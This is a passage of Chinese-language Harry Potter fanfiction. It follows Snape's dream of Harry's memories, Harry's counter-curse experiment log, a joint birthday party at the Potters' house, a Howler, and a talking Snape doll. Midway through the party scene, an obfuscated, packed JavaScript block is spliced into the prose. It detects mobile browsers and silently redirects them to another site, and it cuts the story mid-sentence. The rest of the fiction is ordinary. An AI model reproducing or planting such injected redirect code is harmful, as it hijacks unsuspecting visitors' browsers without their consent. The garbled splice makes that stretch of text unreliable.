他们在争论什么,因为波特发怒了,尽管更像是——单方面的。不知道为什么,宛如被施了隔音咒,斯内普听不见他们在说什么,只能凑上前去看被甩在茶几上的那份文件。 “……我们很遗憾地通知您,关于西弗勒斯·斯内普获得在霍格沃兹历代校长室挂上其校长肖像的提议将不被采纳……” 他把目光移回哈利的脸上,那是真正的愤怒。他在为什么愤怒? 斯内普不是傻瓜,结合哈利以前告诉他们的话,他大概能猜到一二。 猜到实情是一回事,这不等于他要对波特感激涕零。 哈利出门了,斯内普远远地跟在后面。他觉得自己傻透了,没人看得到他,这不过是一块回忆的碎片,就像冥想盆里的一样。可他还是选择远远跟着。 斯内普对他前往的目的地有点印象。果不出其然,跑出来迎接的是泰迪,他的笑容如同太阳般的灿烂。 是了,这就是他小心翼翼、不敢轻易碰触的光。至于波特的,他只当没看见。 泰迪把自己埋在哈利的怀里,却不知道有人在悄然摸着他的头发——而在平时这是完全不能想像的举动。 斯内普依然听不见哈利和唐克斯夫人的谈话内容。但他能看得出哈利强颜欢笑中深藏的惘然和悲伤。 然后他以近乎麻木地态度看着哈利在茶馆里被崇拜者包围,看着他第二次对女孩子大吼。那个女孩也有着一头红发,他深切怀疑她也许是姓韦斯莱。 窗外毫无预兆地掠过一道闪电似的亮光,紧接着一声巨响震碎了茶馆的玻璃。 当斯内普睁开眼,等他全然回过神来,才发现他又置身于无边的黑暗之中——除了眼前的那个人,还有他背后的那扇大门。 “欢迎你回来,西弗勒斯·斯内普。”白胡子老人对他微笑,“收获如何?” “邓布利多?”斯内普难以置信地瞪着他,艰难地开口道。 【邓布利多】做了个一点也不“邓布利多”的鬼脸,“我不过是换了个形象。” 斯内普的表情古怪起来,“你究竟是谁?你身后的门又是哪里冒出来的?” “你看得到?”【邓布利多】显得有些吃惊,随后释然。他回以一个微妙的笑容,“能看到门也算是大进步了。不过,那后面还不是你能进去的,连哈利都进不去。倒是你的新守护神很漂亮。” 斯内普低头看了看依偎在他身旁的新守护神。他没有表示出更多的惊异,而是很自然地接受了这个转变。 或许,在经历那些回忆时,他就隐隐预料到了这一点。 “灵魂的纯净无暇,守护的象征……” “我在波特的回忆里看到食死徒的暴动,而他为了保护一个女孩子,结果中了索命咒。”斯内普一手抚摸着自己的守护神,看似漫不经心地说。 “哦?” “随后一只凤凰冲入他的体内。” “是吗?” “虽然只有一刹那,但我认得它,邓布利多的契约宠物——福克斯。” “记性不错。” “你是福克斯?”斯内普脱口而出,随即为这个大胆的猜测而震惊。 “有趣的观点。”【邓布利多】,不,福克斯并没有否认。事实上,它笑得很开心,飘渺的声音仿佛来自远方,“替我向这里的福克斯问好,西弗勒斯。” 斯内普愣愣地盯着天花板上的裂缝。好一会儿才意识到自己刚从睡梦中醒过来。 他坐在扶手椅里打了个盹。 似乎还做了个荒唐的梦。 他摸出自己的魔杖,杖尖喷出一团银色的光芒。 在银光成形后,斯内普凝视着守护神的新形象。 那不是梦。 光芒渐渐散去,斯内普感觉到左手臂上传来的灼痛,随后是急促的敲门声。不等他回复,哈利就匆匆闯了进来,苍白的脸上透着出大病初愈的虚弱,“斯内普,紧急情况,我得借你这里用一用。” 斯内普直盯着哈利的眼睛,像是在思索着什么。梅林在上,他找不到拒绝的理由。 40. 实验日志与吼叫信 【哈利的“反咒语”实验日志七月二十八日:今天继续进行钻心咒的反咒语实验。伏地魔人偶发出的魔咒威力不够大,我还没感觉到疼痛就把它毁了。下次得制作个魔法容量大些的,正好看厌那张恶心的蛇脸,斯内普是个不错的选择——这两人对我用不可饶恕咒我没心理负担。何况阿瓦达反咒语毫无进展完全是他的错。】 泰迪敲响实验室的门,手上捧着一个放着南瓜汁和馅饼的小托盘。 守门的两条极北蝰蛇早就和他熟稔得如同老朋友一般,亲切地在他脚边蹭来蹭去。 “嘘嘘。”泰迪把盘子托高了些,“这些不是给你们吃的,是给哈利的午餐。”然后他听到了“请进”。 泰迪单手推开门,颇为小心翼翼地往房间里张望一番。尽管事先做好心理准备,刚刚在起居室里也终于见识到德拉科口中的“不定时爆炸声”,不过当他亲眼目睹实验室里的惨景后,还是忍不住做了个鬼脸。 再仔细一看,哈利正把魔杖对着一块十英寸长的焦黑物体——看上去很像一个人形玩偶。目光所及之处并没有看到另一个人的身影,这让泰迪在松口气的同时,不知为何反而有些失望。 斯内普在泰迪心中当然还是“西弗”,但他没法抑制住自己在见到斯内普时心悸的感觉——害怕的情绪一旦在心底滋生就再也挥之不去。 “你怎么来了?”哈利带着些诧异的声音把他的思绪拽了回来。 “德拉科邀请我来玩,你忘了吗?”泰迪把托盘放在他面前,“听说你连早餐也没出去吃?” 听出泰迪语气里隐含的责备,哈利讪讪一笑,放下魔杖后随手拿起一块馅饼就大口嚼起来,“谢谢,我正好饿坏了。” “感觉我比较像是做教父的那个。”泰迪边摇头边找了块比较干净的地方坐下来,目光好奇地在那个比黑炭干净不到哪里去的人偶身上转悠,“我以为西弗和你在一起呢。” “他有别的事。反正也不肯帮忙,不来烦我最好。”哈利嘴里碎碎念着,啜了口南瓜汁后换了个话题,“看来你和马尔福相处得不错。” “哦,我们刚刚闹翻了。”泰迪满不在乎地说。“他在改掉那些古板的观念前我是不会和他说话的。” 哈利被南瓜汁呛到了,“咳咳,你说什么?” “他一直在向我灌输纯血至高论,说什么不应该让麻瓜血统的进入巫师世界,他们低等的血只会削弱巫师的力量。我实在听不惯,就反驳他说纯血巫师不过是害怕外来竞争罢了,因为我认识的最厉害的巫师就不是纯血的。” 哈利不以为然地点点头,邓布利多不厉害谁能最厉害? 仿佛看出他心中所想,泰迪嘻嘻笑道,“我说的当然是哈利你了。” “比我厉害的混血或麻瓜巫师多得很。”面对教子毫无理由的崇拜,哈利只能翻翻白眼。 “他们可以用无杖魔法吗?” 貌似无心的一句话却让哈利心中一凛,“你这是哪里听来的?” “刚刚我们讨论魔法的时候,德拉科告诉我,巫师是不可能不借助魔杖施展魔法的。”泰迪得意地翘起鼻子,“可我以前明明见你用过。” “你有和他提起过吗?” 大概是被哈利声音里的尖锐吓了一跳,泰迪闷闷地回答,“没有……” “听着,泰迪。”哈利把手搭在他肩上,神色严肃地说,“不要跟任何人说我会无杖魔法的事,好吗?” “那是不好的事吗?” “我只是想少惹点麻烦。这是什么?”哈利眼角瞄到泰迪手里还攥着一封信。 “那个哈利邀请我们去他的生日会。” “我们?” 泰迪先指着自己的鼻子,“我。”接着又指着哈利,“和你。” 哈利不耐烦地挥挥手,“我的意思是,为什么邀请我?这和我没关系吧?” 面对哈利的疑问,泰迪也不直接回答,而是展开信纸大声念道—— 泰迪—— 你太不够哥们了!听罗恩说你们暑假过得很刺激?那么带劲的冒险怎么能不带上我?我敢说汽车里绝对能多挤一个人!说回正事,这周五是我生日,我家会有个生日派对,我也写信给罗恩和赫敏了,你当然也得来。我们可以在那天连上临时的飞路网,爸爸说不用担心他会搞定一切的。 PS:佩弗利尔教授那天有空吗?小天狼星,也就是我教父,一直嚷嚷着一定要请他来。我爸妈和莱姆斯也是,看他们的兴奋劲好像过生日的不是我。真是奇了怪了,他们什么时候认识的? 周五见, 哈利 一阵短暂的沉默。 “你应该去的。”泰迪指出,“他们是你的家人,哈利。” 哈利低头把弄自己的魔杖,魔杖尖一闪一闪地发出亮光。 “问题是他们不知道,也没必要知道。你倒是可以和莱姆斯去联络联络感情。” “那你去吗?” “我想会是个‘不’。” 【哈利的“反咒语”实验日志七月二十九日:惊讶地发现“斯内普”发出的魔咒威力居然比“伏地魔”强。我不过是把人偶体积翻了一倍。可惜上一个斯内普人偶也炸没了,强度得提升100%。连夜赶工做了个新的,还是拿斯内普当原型。这不是什么难事,但必须得说从伏地魔的光头改成油腻腻的黑发后,制作难度上升了好几倍。考虑下次还是抓真人回来做实验,不过比起这个做人偶简直是不费吹灰之力。】 “哈利,我又收到信了,你肯定不去?”泰迪这两天又开始每天都往蜘蛛巷跑,而连着两天他连斯内普的黑袍一角都没见着。 “你从昨天起问了我不下十次了,亲爱的。”哈利神情疲惫地揉着自己的肩膀,泰迪眼尖地发现他手里的人偶好像换了一个。并且,很像某个人…… “信上说他们很希望你能答应!” 哈利放下手里摆弄的人偶,随后重重叹了口气,一手拂过头发。 “泰迪,我不知道他们是怎么想的,可我清楚我的存在只能给他们造成困扰。我不能强人所难,让他们认个来历不明的儿子,尤其是在已经有一个,很快还会再有一个的前提下。”哈利曾经有个奢望,既然不准备相认,那至少和自己曾经的家人成为朋友。但莉莉的怀孕,小天狼星和詹姆斯过于异常的热情表现却让他退缩了。 仿佛被哈利语调中难得流露的颓丧所感染,泰迪显得有点沮丧。但他还是不放弃地嘀咕道,“可大家都很喜欢你,哈利。” “那是两回事。”哈利略微向前倾了倾身,看着泰迪的灰眼睛,“好吧,我再考虑考虑。” 【哈利的“反咒语”实验日志七月三十日:大突破!我好像摸着点头脑了,虽然为此整整浪费了五个斯内普人偶,我可不觉得内疚。得把刚刚算式都记下来,数字依然是个问题。看情况可能需要魔药配合,他把魔药都收哪儿去了?真希望赫敏还在。根本不用指望那个消失了三天的人。】 “哈利,你真的真的不去?”泰迪又一次探进脑袋问道。 “是的。”顶着黑眼圈的哈利看上去有些憔悴,可是精神状态却显得异常高昂,他正把全部注意力集中在某张画满符号的羊皮纸上,“我的回答没有变。” 泰迪似乎早料到他会这么回答,干脆地说,“既然这样,我也不去了,礼物可以叫海德薇送过去。” 哈利叹气,把视线移到他身上,“泰迪,如果你是在意我的话,完全没必要。我也不是说故意不想见他们,只是最近真的——”他做了个无意义的手势,说出的理由连他自己也觉得无力,“很忙。” “不过是空出一天的时间,你该休息下了。再说明天也是你的生日,哈利!”泰迪向他投去不赞同的一眼。 “我是个成年人。”哈利拿起羽毛笔在羊皮纸上匆匆写上几行字,“热闹欢乐的生日派对我来说是过去式。”说得好像自己过过几次这样的生日似的,自嘲的想法在他心里一闪而过。 “哈利!” “这件事就这么定了。反对无效。” 【哈利的“反咒语”实验日志七月三十一日:该死的梅林的见鬼的胡子!】 哈利在炉火里撒了一撮亮晶晶的粉末,“来,你先进。我会在后面跟着的。” 泰迪向哈利投去狐疑的一瞥,“我记得你十分坚决地、一次又一次拒绝邀请,哈利。你的实验怎么办?” “呃,我改主意了。”哈利心虚地望向天花板,“不能忽略劳逸结合的重要性,另外我很期待生日会上的蛋糕。” “我也很期待。”哈利撒谎的水平实在不怎么高明,但泰迪确实地微笑起来,在碧绿火焰的照亮下欢欣而明亮。不管怎么说,这似乎是个好兆头。 —————— 数不清的壁炉在眼前一晃而过,哈利的思绪也随之飘忽不定。 他对高锥谷的家唯一的印象就是满眼断垣残壁的废墟、及矗立在父母长眠之地的墓碑。 战后他曾在墓碑旁坐上一整天,任墓地的寂静围绕着他,并无数次地幻想——如果他的家还在,如果他的父母没有躺在冰冷的泥土中,他的生活是不是会有翻天覆地的变化。 死去的人不能复生,但时空的错乱却使梦想成真。只是—— 波特家再也没有他的位置了。 “生日快乐!” 哈利刚在壁炉前站稳,就毫无防备地被众人的齐声道贺给彻底震懵了。意料之外的发展令他出现一瞬间的呆滞,弄不清这声“生日快乐”的对象究竟是谁。 “我迟到了?”哈利摸摸后脑勺。 这个疑问没有维持多久。詹姆斯和小天狼星他们,还有那几个小孩,每个人的笑脸都是向着他的。而当那个小小的身影冲上前拥抱他的时候,哈利只能对他回以无可奈何的苦笑。 “这就是为什么你坚持一定要我来的原因?” “哦哈利,要知道,我差点就绝望了。”泰迪嬉皮笑脸地回道。 “你是什么时候开始策划的……我以为今天是来参加哈利·波特的生日宴会。” “我不过是偶然在信里提到了一下——” “而我们一致认为举办一个联合的生日派对是个棒极了的主意。”一旁的詹姆斯插话进来,他走上前郑重地握了握哈利的手,“欢迎你和泰迪来到我们家。” “你好,以及谢谢你们的好意。”哈利微笑,故意用疏远但不失礼貌的口吻说,“但我们认识并不久,这是否有些不适合——” “得了吧,不过是个生日宴会,大家别搞得正经兮兮的。”小天狼星右手臂一把勾过哈利的脖子,“我们已经是你们都知道是什么的同伴了还那么生分干嘛?对了,我能直接叫你哈利吗?你过了生日后几岁?” 哈利猛不防被扯了个趔趄,脖子快被小天狼星搂得透不过气来,“好……我二十三了。”他现在只盼着小天狼星快放手,否则生日宴会指不定就会变成忌辰宴会了。 “那就对了,你可以叫我小天狼星。”小天狼星总算放开了哈利,后者干咳起来,“别叫我布莱克,我皮肤白得很。”才说完他就兀自大笑起来,完全不顾周围的人都被他冷到了。 “你的阿尼玛格斯就是只黑狗。”哈利暗中嘀咕,心里却在偷笑。他绝对不讨厌比印象中更活泼的小天狼星。 泰迪已经被他的小伙伴们拉到一边去窃窃私语,天知道孩子们为什么总会有说不完的秘密。哈利又和卢平握完手后,才满心欢喜地第一次打量起他从小就渴望不已的家。 起居室比想像中要宽敞,不如陋居那般显得拥挤。里面的陈设落落大方,壁炉架上挂着不少精致的摆设,绝不华丽,却处处透着温馨。 “佩弗利尔教授已经来了?”一把温柔的女声自厨房门口传来,莉莉捧着刚出炉的生日蛋糕向他们款款走来——哈利的心跳在不受控制地加快跳动。 “莉莉,来,我来介绍一下。”詹姆斯体贴地接过莉莉手上的蛋糕摆到旁边的餐桌上,“这就是哈利·佩弗利尔教授。这是我的妻子,莉莉·波特。” 两双如出一辙的碧绿眼眸在空中相遇。带着不同的感情。 “幸会,我经常听哈利和詹姆斯他们提起你。”莉莉向哈利伸出手。 “你好,我——”哈利的手伸了一半,“我”字后面的词噎在喉咙里。他的眼睛睁大了,满脸不知所措,好一会儿才艰难地问,“你为什么在……哭?” 莉莉眨了眨漂亮的绿眼睛,似乎有些不解地反问,“我‘什么’?” “你在哭——”哈利在“妈妈”两字脱口而出之前管住了自己的嘴,“波特夫人。” 这回连詹姆斯都注意到了,他惊讶地问,“亲爱的,你这是怎么了?” 莉莉顾不上回答,她抹了一把自己的脸,是湿的。 “哦,我也不知道,只是忽然有点——”莉莉急急忙忙用围裙边擦去泪痕,“真是怪事,我为什么会无缘无故掉泪呢?”她瞄到小哈利偷偷用手指蘸了一小抹奶油,立时把主妇的矜持都丢到了九霄云外,“哦,哈利!看在梅林的份上,现在别乱碰蛋糕!你就只会添乱!哦,我很抱歉,佩弗利尔教授。” “不用在意,波特夫人。”哈利宽容地笑道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156378|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心仿佛被她声音里的什么揪住了。 如果情况允许,哈利宁愿回到德思礼家的小阁楼里,躲在床底下偷偷摸摸地吃罗恩赫敏寄给他的蛋糕,也不愿意从自己的妈妈手中接过本不是给他的蛋糕。 可当甜腻的奶油在他口中融化的那一刻,他几乎忍不住想嚎啕大哭。 但其余的时候,哈利都在强迫自己一个劲地和詹姆斯他们谈笑风生。这是个生日宴会,哈利。保持微笑。他再次提醒自己。 当然啦,有小天狼星这个活宝在,生日宴会更是想冷清下来也做不到。 在他的号召下,原本狼吞虎咽的小家伙们对于桌上的美味佳肴也没有那么热衷了,反而开始对蛋糕的另一个用途大感兴趣。 于是,任由小家伙们在厨房里尖叫玩闹,成年人们惬意地把自己安顿在起居室里,边喝黄油啤酒边闲聊成年人间的话题。 “这么说来在泰迪入学之前你们都在国外?”卢平好奇地问道。 “可以这么说。”哈利眼也不眨地把自己当初和邓布利多编好的一套说辞搬出来,“因为工作的原因,我从霍格沃兹毕业没多久就调职去澳洲。你们知道,澳洲有不少神奇生物聚居在那儿,我那时是干这行的。至于泰迪,在他外祖母去世后我就一直把他带在身边。” “你的父母……”詹姆斯问得有些犹豫。 哈利看了他一眼,轻描淡写地回答,“他们被伏地魔杀了。”这让詹姆斯立马后悔自己的多嘴。 “泰迪的父母也是死于食死徒手下。”哈利看似毫不在乎地耸耸肩,“所以我加入了凤凰社。” 起居室内被沉默笼罩着。最后是莉莉先开口了。 “就你们两个生活,你又那么年轻,一定很辛苦吧?”她眼睛里又充满了泪水。 不知道为什么,哈利忽然想起了韦斯莱夫人。 “工作忙起来的时候的确很难顾及他。”哈利抓了抓自己的后脖子,脸上不自觉流露出怀念的神情,“不过泰迪很乖,而且我的好友会帮我一起照顾他。”回想起在那个未来的罗恩、赫敏、乔治及韦斯莱夫人他们一家——他曾拥有过的最美好的东西——哈利的眼神遥远起来,仿佛穿越了十几年的时光。而这种情感显然感染了在座的每一个人。 小天狼星却是受感染最深的一个,等他察觉时,他的手已经搭在哈利肩上了,迎来后者疑问的目光。 糟糕,他刚刚想干什么来着?自己最近怎么老出状况啊?小天狼星在心里叫苦不迭。 最后他还是讪讪收回手,不自在地清清喉咙,“能问你个问题吗,哈利?” 哈利轻啜了口啤酒,点点头示意他说下去。 “你和鼻涕精是怎么回事?” 哈利差点把刚喝进去啤酒都喷出来。虽然从上次经验看来,小天狼星很不待见看到他和斯内普“相处愉快”——当然他本人完全觉得荒谬之极,他和斯内普之间甚至不能心平气和地对话!可哈利真没料到他就这么大刺刺地直奔主题。 “小天狼星,别叫他鼻涕精!”莉莉不满地斥道。 “叫他鼻涕精是抬举他了。”小天狼星翻了个白眼,“给你个忠告,哈利。就算邓布利多相信他,但我敢打赌,那家伙绝对是不折不扣的食死徒!听我说,和他接触太多没好处的。我和他七年同级,他是怎样的人没人比我更清楚了。你也可以问问詹姆斯和莱姆斯,对吧,伙计们?”他向另两人寻求同盟。 “我在霍格沃兹读书时可吃了他六年苦头。”哈利挑起一边的眉毛,他和斯内普当年的矛盾可不比他教父的少。“他尖酸刻薄,处事偏激,公报私仇,还很偏心。但最重要的,他是我见过的最勇敢的人。” “勇敢?”小天狼星直接把一口的黄油啤酒都喷了出来,坐在他对面的卢平首当其冲,“哈利,你肯定你说的那个人是鼻涕……呃,斯内普?” 哈利一脸无辜地举起酒杯,一饮而尽。 “绝不可能!他要是真勇敢我就……”小天狼星瞪大眼睛,仿佛下了重大的决心,“我就去对角巷裸奔给你们看!” “变成狗的时候你就是在裸奔。”哈利用别人听不到的声音小声咕哝道。而另三人早已笑得腰都直不起来了。 “他是个食死徒!”小天狼星还不死心。 “是‘前’食死徒。如果你还记得的话,他现在是我们的双面间谍。”哈利这么反驳着,一边心中好笑,如果放在以前,估计他会不留余力地和小天狼星一起讨伐斯内普。若他没经历那人最后的一幕,看到那些记忆…… 哈利的心沉了沉,他摇摇脑袋,想把心中忽如其来的沉重甩出去,“总之我们现在都是凤凰社的成员,就算你们关系再不好,至少合作的时候暂时放下芥蒂吧,小天狼星。” 接下来他们很有默契地避开有关斯内普的话题,聊的却都是些无关紧要的事——小哈利在学校的表现,洛哈特那自恋狂又出书了,福吉又开始给邓布利多挑刺,莉莉的怀孕…… “哈利,你说会是个男孩还是女孩?”詹姆斯热切地问道,一旦熟悉后他也改叫哈利的教名了。 “我?”哈利惊讶地发现其他人也都很期待他的回答。 他着实思索了好一会儿,“女孩子不错。” 詹姆斯还来不及说什么,只见一只猫头鹰嗖地从开着的窗户外飞进来,避开他伸出的手,把一封鲜红色的信扔在哈利头上。 哈利瞪着信封上自己的名字——他当然知道红色代表什么意思——现在的问题是,谁会给他寄吼叫信? 其实他已经猜出寄信人是谁了。自欺欺人也没用。 “我说哈利,你光是瞪着它也没用。”小天狼星露出促狭的痞笑,显然对吼叫信的内容兴趣十足,“打开吧,该来的总会来。” 也许他真该幻影移行到三百里外的荒郊野岭,把信丢在那儿再回来。哈利吸了口气,认命地撕开信封。与此同时,一个噩梦般的可怕声音爆发出来,巨大的响声把整间屋子都震了三震。 “……炸了我的整个地窖,还把我收藏的魔药毁于一旦……” 哈利脸色煞白。小天狼星瞠目结舌。 “……你没把自己炸死还真是梅林也创造不出的奇迹。真有胆量啊,现在知道畏罪潜逃了?” 詹姆斯和卢平脸色古怪。莉莉在忍笑。 “还有该死的给我滚回来解释实验室桌上那三个……见鬼的愚蠢玩意到底是怎么回事!” 吼叫声戛然而止。几个孩子目瞪口呆地看着这一幕。 “我们打个商量。”哈利冷静地说,“你们介意我在这儿过一夜……避避风头么?” 41. 斯内普人偶 哈利昨天收到了一封信,看完后他的笑意足足持续了一个上午—— 直到他再次垂头丧气地踏进前往“地狱”的壁炉。 但不管怎么说,这太难得了。泰迪想。 至少在被哈利形容为“生不如死”的这段日子里,看多了他每天愁眉苦脸、耷拉着脸的样子,突如其来的开朗让泰迪一时间还真不怎么适应。 泰迪在问与不问之间挣扎良久,最后明智地决定在确定哈利是真的心情好转前,暂时别去摸老虎尾巴。 梅林在上。天知道自从那次生日宴会后,短时间内从斯内普、西弗乃至所有跟人偶、魔药、蛇等相关词语,统统被加进佩弗利尔家的违禁词列表里。迫不得已必须得提到斯内普时,哈利便会怨气冲天地用“那个油腻腻的混蛋”或“吸血不眨眼的老蝙蝠”来代替。 泰迪当然是好奇得不得了。 可偏偏哈利对此闭口不谈,就算是偶尔忍不下那口气而有所抱怨,也往往是轻描淡写地一笔带过。 这让泰迪更好奇了—— 西弗到底怎么惩罚哈利了? 所以直到他被送出壁炉之前,他还在思索这个问题。 满脸喜气洋洋的韦斯莱夫人首先给了泰迪一个紧得窒息的拥抱。 “谢谢,韦斯莱夫人。”泰迪回抱她,把头抬起来闷闷地说,“还有,上次的事很抱歉让你担心了,都是我的错。”在三天前的生日宴会上,他已经从罗恩那儿听说他们回家后过得如何像家养小精灵一般的悲惨,而这还不包括韦斯莱夫人足以吓跑地精的高分贝怒吼。想到这完全是因为自己的任性造成的后果,就算哈利早就特地写了道歉信,也还是没法让泰迪的内疚不安减弱半分。 听到泰迪的道歉,韦斯莱夫人放开他,改用双手轻轻捧着他的脸,“也许这些话不该由我来说,但以后做一件事之前多想想,像上次的事完全可以向大人寻求帮助不是吗?别忘了我们都在你的身边,而且你的家人和朋友也会担心你的。”见泰迪脸上的愧疚之色愈浓,她宠爱地翻乱他蓝色的头发,“那么,告诉我那天究竟是怎么回事?罗恩他们根本说不清楚,唉,那几个捣蛋鬼只会跟我打哈哈,一点儿也没他们哥哥的样子!” 典型的韦斯莱夫人式抱怨让泰迪笑了出来,同时鼻尖也涌上些酸味。 他从口袋里掏出挂表,在韦斯莱夫人疑惑的眼神下,三言两语说明了出现在挂表上的奇怪状况。 “你是说哈利他们并没有往挂表里注入魂丝?”韦斯莱夫人惊疑地用手捂住嘴,“这怎么可能呢?” 泰迪正想说什么,一把有气无力的声音从他身后传来,“什么魂丝?” “哦,亲爱的哈利,欢迎你。”趁着韦斯莱夫人迎上去拥抱哈利之际,泰迪手忙脚乱地把挂表重新塞回口袋里。“你看上去很累,亲爱的。没睡好吗?”她上上下下打量着哈利,微微皱起眉头。 “早上好,韦斯莱夫人。”一脸倦容的哈利打了个哈欠,“我只是最近忙了点。你们刚刚在说什么……魂丝?” 韦斯莱夫人及时看到了泰迪央求的眼神,“哦,没什么大不了的,只是随便聊了聊。你们吃早餐了吗?”她轻轻松松地转移话题。 “还没。” “坐下吧,我跟你们弄些吃的。” 哈利和泰迪刚在桌边坐下,就听到罗恩激动地大叫,“嘿,伙计你来了!还有佩弗利尔教授!” “罗恩,别一大早就喳喳呼呼的!”韦斯莱夫人不满地瞪了他一眼,同时在哈利的盘子里倒满了香肠,“快准备吃早饭,我们今天行程很紧。” 罗恩耸耸肩,一屁股坐在泰迪身边,伸手把他的脖子搂过来,神秘兮兮地说,“泰迪,告诉你个好消息,我妈妈决定给我买一把新的飞天扫帚了!” 泰迪点了点头,努力把满口的热粥咽下,“那真是太好了。” “佩弗利尔教授,你能指导我们魁地奇吗?”罗恩又转头问哈利。 “完全没问题,暑假剩下来的三个星期你们可以随时来找我。”哈利看上去心情很不错。 “哦!太棒了!”得到肯定回复的罗恩欢呼起来,却被韦斯莱夫人一勺子敲下去。“别有事没事就去麻烦哈利,他是你们的教授,没看他忙得很吗?” “妈妈,话可不能这么说。” 双胞胎不知什么时候也加入了吃早餐的行列。 “佩弗利尔教授飞行水平可是一流啊,我们的队长都比不上他。”乔治轻快地说。 “有现成的大好资源不用——”弗雷德起头。 “我们怎么对得起魁地奇的列祖列宗?”乔治附和。 “就你们贫嘴,新扫帚不想要了?” “哦,妈妈,你怎么忍心如此对待敬爱你的儿子?” “我们可从来没有忘记感恩——尤其是你为我们洗袜子的时候。” “我不用你们感谢我给你们洗袜子,闭嘴给我乖乖去吃早餐,否则没扫帚。”韦斯莱夫人板着脸把他们赶上餐桌,不过脸色缓和了不少。等看到哈利和泰迪都盯着她这里,她的脸开始泛红。 “真是让你们看笑话了,我们家一直不富裕,孩子又多,连给他们买几把新扫帚也买不起。亚瑟也不争气,老喜欢捣鼓那些麻瓜玩意,所以上司不肯提升他——”韦斯莱夫人边忙活边絮絮叨叨,“总算他这次运气不坏,中了预言家日报的抽奖——” “恭喜!”哈利和泰迪异口同声地说。 “谢谢,也不知道他是哪一天心血来潮去买的,昨天收到中奖通知时他居然说不记得了。(泰迪注意到,哈利正在埋头数他盘子里来来去去就那几根的香肠。)不管怎么说,700加隆来得太及时了,我正愁金妮的学校长袍和魔杖该怎么办呢。哦,对了,还得谢谢你送的书,亲爱的。洛哈特的那些书都不便宜。当然啦,我得说他的书值这些钱。报社明天还会来我家采访,家里乱糟糟的,必须得好好收拾收拾。” “我觉得陋居这样已经很好了,很有家的感觉。”哈利忽然插了一句,“对吧,泰迪?”泰迪忙不迭地点头。 “亲爱的,你们真可爱!”韦斯莱夫人显然很吃这一套,她笑眯眯地给两人添了堆成小山的煎蛋和培根。 “说到课本。”趁着韦斯莱夫人去楼上叫醒其他人的当口,弗雷德凑过来,“你们说书单上成套的洛哈特著的书是怎么回事?当然啦,妈妈可高兴了,她一整个暑假都在关注他——” “简直和犯花痴的少女没两样。话说回来,除了黑魔法防御课,我想不出能哪一科用得着——”乔治翻出自己的书单,“《与女鬼决裂》。他肯定这是教科书而不是小说?” “最奇怪的是,我们看过珀西的书单,六年级居然不需要买!可他居然还表示遗憾,说什么他对洛哈特的评价很高。”罗恩在一旁抱怨。 现在每个人的目光都集中在哈利身上。后者淡定地喝着粥。 乔治痞痞一笑,“佩弗利尔教授,你当初送我们书的时候可没说过是课本啊。” “我们都以为你是洛哈特的——”罗恩话没说完就被弗雷德捂住了嘴。 “——头号粉丝。想必他也和那些没脑的女人一样对洛哈特这种花瓶趋之若鹜吧?”一个冷冷的声音补充道。 哈利正要往嘴里送的汤匙忽然停住,然后他仿佛看到什么可怕光景似 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“后来据说罗恩玩的时候正好被乔治和弗雷德看到,他们就拿去用在他们的新产品上……对不起,我不知道你会……”泰迪的声音越来越弱,目光飘移着向罗恩他们求助。可在哈利难得一见的盛怒下,连双胞胎也不敢挑战他的怒火。 “你的水准也就停留在没品地欺负小孩子上面了?”那个声音语带不屑地说。 “你这个玩偶给我闭嘴,这里没你说话的份!”哈利拍案而起,对着声音的发生源——斯内普人偶吼道。天杀的为什么人偶会说话?而且说话的腔调还该死的……和那个混蛋那么像! 斯内普人偶双手抱胸站在桌上,讥讽地勾起一边的嘴角。“怎么?物种歧视?如果你以为手无缚鸡之力的人偶可以随意刁难,那我对你的判断力是否无限趋向于巨怪水平而深表怀疑。” 哈利觉得自己要疯了。 现在到底是谁在刁难谁?凭什么他刚受完原版的气现在还得来受翻版的? 他深深吸了口气,强迫自己不要去理会斯内普人偶的挑衅,而是改作直接向始作俑者问罪,“弗雷德,乔治,告诉我,你们到底是怎么做出来的?” “我们……只是在它身上试验了一种变形药水,哈哈,变形没成功,结果反而出现了意想不到的效果……呃……”一向鬼灵精怪的乔治在哈利的怒视下也只能缩缩脖子,“其实……我们也不知道原因……应该算是失败作……” “也就是说,没办法把它变回普通的人偶了?”哈利惊恐地指着那个正在懒洋洋看好戏的人偶。 双胞胎同时摇头。 完了。 唯一不受影响的是斯内普人偶。它旁若无人地在桌上走来走去,在碰到哈利的咖啡杯时,它非常“斯内普”地拧起眉头,然后搬起搁置在一旁的咖啡勺,在众目睽睽下开始搅动杯里的咖啡。 “他该不会是……打算制作魔药吧?”罗恩的声音听起来有点崩溃,“用咖啡杯当坩埚?”脑子彻底短路的哈利回答不了他。 好在这种诡异气氛没有持续多久,一只飞进来送信给哈利的棕色猫头鹰解救了他们。 哈利黑着脸拆开印有霍格沃兹标记的信,草草扫了一遍,“泰迪,恐怕你得一个人和罗恩他们去对角巷了。” “出了什么事吗,哈利?”泰迪也顾不上哈利可能还在气头上,面带忧色地问。 哈利摇摇头,“别担心,是邓布利多叫我立刻去学校一趟。帮我和韦斯莱夫人说声抱歉。”然后他在离开的同时一把抓过斯内普人偶(“你会为你打断我魔药制作的粗暴而付出代价的,佩弗利尔!”),“这玩意我没收了!” 42. 神秘老人 坐落在对角巷某个阴暗旮旯处的翻倒巷迎来了一位格格不入的访客。 泰迪走在漆黑的小道上,两旁全是肮脏的黑魔法店铺,凄厉的猫叫声偶尔会从辨不清的方向传来,直叫人毛骨悚然。他觉得自己完全在瞎转悠,绕了好几圈总又绕回到原处,唯一弄清楚的就是这里是“翻倒巷”——卖毒蜡烛的店铺前挂的那块旧木牌仿佛在嘲笑似的摇来摆去——泰迪真不知道心里是郁闷些还是更害怕些。 